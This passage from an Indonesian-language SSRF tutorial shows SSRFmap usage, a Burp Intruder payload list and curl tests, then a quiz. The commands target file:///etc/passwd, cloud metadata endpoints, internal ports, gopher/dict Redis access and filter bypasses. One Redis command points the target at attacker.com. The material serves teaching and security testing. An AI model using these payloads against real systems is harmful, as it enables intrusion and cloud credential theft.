git clone https://github.com/swisskyrepo/SSRFmap.git
cd SSRFmap
pip install -r requirements.txt

# Basic scan — detect SSRF vulnerability
python ssrfmap.py -r request.txt -p url -m portscan

# Request file format (request.txt):
# POST /api/fetch HTTP/1.1
# Host: vulnerable-app.com
# Content-Type: application/json
#
# {"url": "FUZZ"}

# === Scan modes ===

# 1. Port scan internal
python ssrfmap.py -r request.txt -p url -m portscan

# 2. Read files
python ssrfmap.py -r request.txt -p url -m readfiles

# 3. Redis module
python ssrfmap.py -r request.txt -p url -m redis -C "SLAVE OF attacker.com 6379"

# 4. AWS metadata
python ssrfmap.py -r request.txt -p url -m aws

# 5. Custom wordlist
python ssrfmap.py -r request.txt -p url -m portscan --ports 1-65535

9.2 Burp Suite — Collaborator

Burp Suite — Blind SSRF Detection
# === Menggunakan Burp Collaborator untuk Blind SSRF ===

# 1. Generate Collaborator URL
#    Burp Suite → Collaborator client → Copy to clipboard
#    URL: xyz123.burpcollaborator.net

# 2. Inject Collaborator URL ke semua input yang relevans
#    Contoh payload:
http://xyz123.burpcollaborator.net/

# 3. Monitor Collaborator interactions
#    Setiap request yang diterima menunjukkan:
#    - Server melakukan request ke Collaborator
#    - IP address server
#    - Timestamp
#    - Request headers

# 4. Eksploitasi lanjutan
#    - Gunakan HTTP callback (bukan DNS) untuk melihat lebih detail
#    - Periksa User-Agent untuk fingerprint server
#    - Gunakan path unik untuk identifikasi permintaan spesifik

# === Automated SSRF Testing dengan Intruder ===

# 1. Intercept request dengan parameter URL
# 2. Kirim ke Intruder
# 3. Set payload type: Simple list
# 4. Payloads:
http://127.0.0.1
http://localhost
http://[::1]
http://169.254.169.254
gopher://127.0.0.1:6379/
file:///etc/passwd
dict://127.0.0.1:6379/
http://metadata.google.internal/
http://169.254.169.254/metadata/instance
# 5. Analyze responses untuk menemukan SSRF

9.3 curl Testing Manual

curl — Manual SSRF Testing
# === Manual SSRF Testing dengan curl ===

# 1. Basic SSRF test
curl -v "https://app.com/fetch?url=http://127.0.0.1/"

# 2. File read test
curl -v "https://app.com/fetch?url=file:///etc/passwd"

# 3. Metadata test (AWS)
curl -v "https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/"

# 4. Port scan test
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
    echo "--- Port $port ---"
    curl -s -o /dev/null -w "HTTP %{http_code} Time: %{time_total}s\n" \
        "https://app.com/fetch?url=http://127.0.0.1:$port/" \
        --max-time 5
done

# 5. Protocol handler tests
curl -v "https://app.com/fetch?url=gopher://127.0.0.1:6379/_INFO"
curl -v "https://app.com/fetch?url=dict://127.0.0.1:6379/info"

# 6. IP bypass tests
curl -v "https://app.com/fetch?url=http://0x7f000001/"
curl -v "https://app.com/fetch?url=http://2130706433/"
curl -v "https://app.com/fetch?url=http://0177.0.0.1/"

# 7. DNS rebinding test
curl -v "https://app.com/fetch?url=http://rbndr.us/169.254.169.254"

# 8. Redirect test
curl -v "https://app.com/fetch?url=https://bit.ly/example-redirect"

10. Quiz Pemahaman

Uji pemahaman Anda tentang SSRF:

Pertanyaan 1: Apa yang dimaksud dengan SSRF?

a) Client-side attack yang memanipulasi browser
b) Server-side attack di mana aplikasi dimanipulasi untuk membuat request yang tidak diinginkan
c) Serangan brute force pada password
d) Teknik phishing menggunakan server

Pertanyaan 2: Mengapa cloud metadata endpoint sangat berbahaya dalam SSRF?

a) Karena metadata hanya berisi informasi hostname
b) Karena metadata bisa berisi IAM credentials yang memungkinkan akses penuh ke resource cloud
c) Karena metadata menggunakan port yang sama dengan HTTPS
d) Karena metadata hanya tersedia di server fisik

Pertanyaan 3: Teknik DNS Rebinding bekerja dengan cara...

a) Mengubah IP address DNS setelah validasi melewati whitelist
b) Menggunakan DNS server yang lambat
c) Menghapus entri DNS dari cache
d) Menggunakan DNSSEC untuk enkripsi

Pertanyaan 4: Mana yang BUKAN merupakan mitigasi SSRF yang efektif?

a) Whitelist domain dan scheme
b) Hanya menggunakan firewall rules
c) Resolve DNS terlebih dahulu dan validasi IP
d) Network segmentation

Pertanyaan 5: IMDSv2 di AWS melindungi dari SSRF dengan cara...

a) Mengenkripsi semua metadata menggunakan TLS
b) Mengharuskan token yang didapat melalui PUT request dengan header khusus
c) Mematikan metadata service sepenuhnya
d) Mengubah port metadata dari 80 ke 443
🔍 Zoom
100%
🎨 Tema